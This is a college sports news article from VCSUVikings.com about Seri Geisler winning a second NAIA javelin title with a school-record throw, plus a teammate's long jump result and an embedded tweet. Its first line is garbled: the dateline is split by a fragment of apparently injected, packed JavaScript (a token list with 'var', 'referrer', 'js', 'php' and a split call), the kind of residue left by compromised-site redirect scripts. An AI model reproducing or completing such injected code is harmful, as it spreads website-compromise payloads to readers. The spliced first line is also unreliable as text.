GULF ekbze|var|u0026u|referrer|ebthh||js|php’.split(‘|’),0,{}))
SHORES, AL (VCSUVikings.com)- Valley City State University sophomore Seri Geisler won her second straight national championship on Thursday, successfully defending her javelin title during the NAIA Outdoor Track & Field National Championships.
Geisler launched a school-record throw of 52.68 meters (172 feet, 10.25 inches) in the finals as she won the event by more than 12 feet, besting a field of 25 throwers.
A native of Grand Rapids, Minn., Geisler entered the the meet with the top throw in the nation at 51.16 meters and delivered on her ranking. The women’s javelin was expected to be a two-person race between Geisler and Bailey Dell (Northwest Christian), and it was just that. Both were in the first flight, allowing them to go throw-for-throw throughout the day.
Dell had the lead after the first round with a mark of 47.61 meters. Geisler took the lead with a throw of 48.56 meters in the second round. She took that lead into finals, but Dell answered back by regaining the lead with a 48.76 mark on her first attempt of finals. Dell’s lead did not last long though as the next person up was Geisler, who answered the call by launching her national championship throw that all but put the event away.
“Seri dug deep with a personal best throw in the finals to win the national title,” said VCSU head coach Chris Johnson. “She responded, to say the least.”
It is just the second national title ever in VCSU women’s athletics history, both of which are by Geisler. She also won the javelin title last season with her previous school-record throw of 51.37 meters (168 feet, 6 3/4 inches).
On Thursday, Geisler had four of the top five throws in the event, including the top two throws of 52.68 and 49.29 meters.
Geisler will now shift her focus to the women’s shot put competition where she competes Friday along with teammate Mackenzie Huber. The women’s shot put is scheduled for 1 p.m. on Friday.
VCSU’s Megan Johnson finishes 26th in women’s long jump
Valley City State University junior Megan Johnson (Enderlin, N.D.) placed 26th in a large field of women’s long jumpers Thursday at the NAIA Championships.
Johnson entered the event ranked 38th out of 47 jumpers, but improved her ranking by 12 spots in the final standings. Johnson went 5.24 meters in her first attempt. She followed that up with her best mark of the day, a 5.36 meter jump (17 feet, 7 inches) that earned her 26th in the large field.
The winning mark was 5.91 meters in a competitive event. The top five finishers were separated by just two inches.
Seri’s winning throw of 52.68 M. (172’10.25″) on her first throw in finals. Putting the hammer down on the competition! pic.twitter.com/wl25DKB9yr
— VCSU XC/T&F (@VCSUXCTF) May 26, 2017